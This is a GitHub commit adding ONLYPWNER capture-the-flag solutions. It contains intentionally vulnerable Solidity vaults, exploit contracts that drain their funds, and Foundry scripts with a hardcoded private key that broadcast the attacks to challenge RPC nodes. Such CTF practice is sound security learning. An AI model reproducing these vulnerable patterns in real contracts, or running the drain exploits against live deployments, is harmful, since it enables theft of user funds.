Skip to content

Commit

Permalink
a
Browse files Browse the repository at this point in the history
  • Loading branch information
6boris committed Oct 8, 2023
1 parent 3459e93 commit b92c3cf
Show file tree
Hide file tree
Showing 9 changed files with 325 additions and 0 deletions.
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -45,3 +45,7 @@ machine. Each level is a smart contract that needs to be hacked.
| | [8.Vault](https://ethernaut.openzeppelin.com/level/0xB7257D8Ba61BD1b3Fb7249DCd9330a023a5F3670) | ... | ... | ... |
| | [9.King](https://ethernaut.openzeppelin.com/level/0x3049C00639E6dfC269ED1451764a046f7aE500c6) | ... | ... | ... |
| | [10.Reentrance](https://ethernaut.openzeppelin.com/level/0x2a24869323C0B13Dff24E196Ba072dC790D52479) | ... | ... | ... |

## ONLYPWNER CTF

https://onlypwner.xyz/
Empty file added contracts/CTF/.gitkeep
Empty file.
32 changes: 32 additions & 0 deletions contracts/CTF/ONLYPWNER/01.TUTORIAL.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface ITutorial {
function callMe() external;
}

contract Tutorial is ITutorial {
constructor() payable { }

function callMe() external override {
(bool success,) = msg.sender.call{ value: address(this).balance }("");
require(success, "Tutorial: call failed");
}
}

contract TutorialExploit {
ITutorial private victimInstance;

constructor(address _victim) {
victimInstance = ITutorial(_victim);
}

function attack() external payable {
victimInstance.callMe();
}

fallback() external payable { }

receive() external payable { }
}
80 changes: 80 additions & 0 deletions contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import { ERC20 } from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import { IERC20 } from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";

contract MintableERC20 is ERC20 {
constructor(string memory name, string memory symbol, uint256 mintAmount) ERC20(name, symbol) {
_mint(msg.sender, mintAmount);
}
}

interface IVault {
function deposit(uint256 amount) external;
function withdraw(uint256 sharesAmount) external;
function owner() external view returns (address);
function token() external view returns (IERC20);
function shares(address) external view returns (uint256);
function totalShares() external view returns (uint256);
}

contract Vault is IVault {
address public override owner;
IERC20 public override token;
mapping(address => uint256) public override shares;
uint256 public override totalShares;

constructor(address _token) {
owner = msg.sender;
token = IERC20(_token);
}

function deposit(uint256 amount) external override {
require(amount > 0, "Vault: Amount must be greater than 0");

uint256 currentBalance = token.balanceOf(address(this));
uint256 currentShares = totalShares;

uint256 newShares;
if (currentShares == 0) {
newShares = amount;
} else {
newShares = (amount * currentShares) / currentBalance;
}

shares[msg.sender] += newShares;
totalShares += newShares;

token.transferFrom(msg.sender, address(this), amount);
}

function withdraw(uint256 sharesAmount) external override {
require(sharesAmount > 0, "Vault: Amount must be greater than 0");

uint256 currentBalance = token.balanceOf(address(this));
uint256 payoutAmount = (sharesAmount * currentBalance) / totalShares;

shares[msg.sender] -= sharesAmount;
totalShares -= sharesAmount;

if (msg.sender == owner) {
payoutAmount *= 2;
}

token.transfer(msg.sender, payoutAmount);
}
}

contract VaultExploit {
Vault private victimInstance;

constructor(address _victim) {
victimInstance = Vault(_victim);
}

function attack() external payable { }

receive() external payable { }
}
42 changes: 42 additions & 0 deletions contracts/CTF/ONLYPWNER/05.FREEBIE.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IVault {
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);

function deposit() external payable;
function withdraw(uint256 amount) external;
}

contract Vault is IVault {
uint256 public totalDeposited;

function deposit() external payable {
totalDeposited += msg.value;
emit Deposit(msg.sender, msg.value);
}

function withdraw(uint256 amount) external {
totalDeposited -= amount;
payable(msg.sender).transfer(amount);
emit Withdraw(msg.sender, amount);
}
}

contract VaultExploit {
Vault private victimInstance;

constructor(address _victim) {
victimInstance = Vault(_victim);
}

function attack() external payable {
victimInstance.withdraw(victimInstance.totalDeposited());
}

fallback() external payable { }

receive() external payable { }
}
Empty file added foundry/script/CTF/.gitkeep
Empty file.
51 changes: 51 additions & 0 deletions foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import { Script } from "forge-std/Script.sol";
import { console2 } from "forge-std/console2.sol";
import { Tutorial, TutorialExploit } from "@contracts/CTF/ONLYPWNER/01.TUTORIAL.sol";

/*
forge script \
foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol:TUTORIAL_01_Exploit \
--rpc-url https://nodes.onlypwner.xyz/rpc/42b2c243-c01f-4de0-a521-7856279a2ab2 \
--private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \
--with-gas-price 0 \
-vvvv --broadcast
*/

contract TUTORIAL_01_Exploit is Script {
Tutorial private victimInstance;
TutorialExploit private exploitInstance;

function _localSetup() public {
victimInstance = new Tutorial{value: 10 ether}();
// victimInstance.deposit{ value: 10 ether }();
}

function run() public {
vm.startBroadcast();
bool isDEV = false;
// 1. Local DEV SET UP
if (isDEV) _localSetup();
// 2. Challenge SET UP
else victimInstance = Tutorial(address(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88));

console2.log("ONLYPWNER CTF Challenge 1 Before Valut Balance:", address(victimInstance).balance);
console2.log("ONLYPWNER CTF Challenge 1 Before Attacker:", tx.origin);
console2.log("ONLYPWNER CTF Challenge 1 Before Attacker Balance:", address(tx.origin).balance);

// Attack
exploitInstance = new TutorialExploit(address(victimInstance));
exploitInstance.attack();

_check();
vm.stopBroadcast();
}

function _check() public view {
console2.log("ONLYPWNER CTF Challenge 1 After Balance:", address(victimInstance).balance);
require(address(victimInstance).balance == 0, "Challenge 1 is not solved");
}
}
65 changes: 65 additions & 0 deletions foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import { Script } from "forge-std/Script.sol";
import { console2 } from "forge-std/console2.sol";
import { MintableERC20, Vault, VaultExploit } from "@contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol";

/*
forge script \
foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol:REVERSE_RUGPULL_03_Exploit \
--private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \
-vvvv
forge script \
foundry/script/CTF/ONLYPWNER/01.FREEBIE.s.sol:FREEBIE_05_Exploit \
--rpc-url https://nodes.onlypwner.xyz/rpc/cf922cbb-e5d5-4921-bcd6-c1ee4d5f0065 \
--private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \
--with-gas-price 0 \
-vvvv --broadcast
*/

contract REVERSE_RUGPULL_03_Exploit is Script {
Vault private victimInstance;
VaultExploit private exploitInstance;
address attackerAddress = address(6);

function _localDevSetup() public {
MintableERC20 token = new MintableERC20("TOKEN", "TOKEN", 10 ether);
victimInstance = new Vault(address(token));
token.transfer(attackerAddress, 9 ether);
}

function run() public {
vm.startBroadcast();
bool isDEV = true;
// 1. Local DEV SET UP
if (isDEV) _localDevSetup();
// 2. Challenge SET UP
else victimInstance = Vault(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88);

console2.log("ONLYPWNER CTF Challenge 3 Before Valut Address:", address(victimInstance));
console2.log("ONLYPWNER CTF Challenge 3 Before Valut Balance:", address(victimInstance).balance);

// Attack
exploitInstance = new VaultExploit(address(victimInstance));
exploitInstance.attack();

vm.stopBroadcast();
_check();
}

function _check() public {
console2.log(
"ONLYPWNER CTF Challenge 3 After Valut Balance:", victimInstance.token().balanceOf(address(victimInstance))
);
require(victimInstance.token().balanceOf(address(victimInstance)) == 0, "Not solved: Valut have token");

victimInstance.token().approve(address(victimInstance), 10 ** 17);
victimInstance.deposit(10 ** 17);
uint256 shares = victimInstance.shares(tx.origin);
require(shares == 0, "Not solved: Valut have shares");
}
}
51 changes: 51 additions & 0 deletions foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import { Script } from "forge-std/Script.sol";
import { console2 } from "forge-std/console2.sol";
import { Vault, IVault, VaultExploit } from "@contracts/CTF/ONLYPWNER/05.FREEBIE.sol";

/*
forge script \
foundry/script/CTF/ONLYPWNER/01.FREEBIE.s.sol:FREEBIE_05_Exploit \
--rpc-url https://nodes.onlypwner.xyz/rpc/fc49f74c-8fbf-492e-9bbc-5c32fea00c21 \
--private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \
--with-gas-price 0 \
-vvvv --broadcast
*/

contract FREEBIE_05_Exploit is Script {
Vault private victimInstance;
VaultExploit private exploitInstance;

function _localSetup() public {
victimInstance = new Vault();
victimInstance.deposit{ value: 10 ether }();
}

function run() public {
vm.startBroadcast();
bool isDEV = false;
// 1. Local DEV SET UP
if (isDEV) _localSetup();
// 2. Challenge SET UP
else victimInstance = Vault(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88);

console2.log("ONLYPWNER CTF Challenge 1 Before Valut Balance:", address(victimInstance).balance);
console2.log("ONLYPWNER CTF Challenge 1 Before Attacker:", tx.origin);
console2.log("ONLYPWNER CTF Challenge 1 Before Attacker Balance:", address(tx.origin).balance);

// Attack
exploitInstance = new VaultExploit(address(victimInstance));
exploitInstance.attack();

_check();
vm.stopBroadcast();
}

function _check() public view {
console2.log("ONLYPWNER CTF Challenge 1 After Balance:", address(victimInstance).balance);
require(address(victimInstance).balance == 0, "Challenge 1 is not solved");
}
}

0 comments on commit b92c3cf

Please sign in to comment.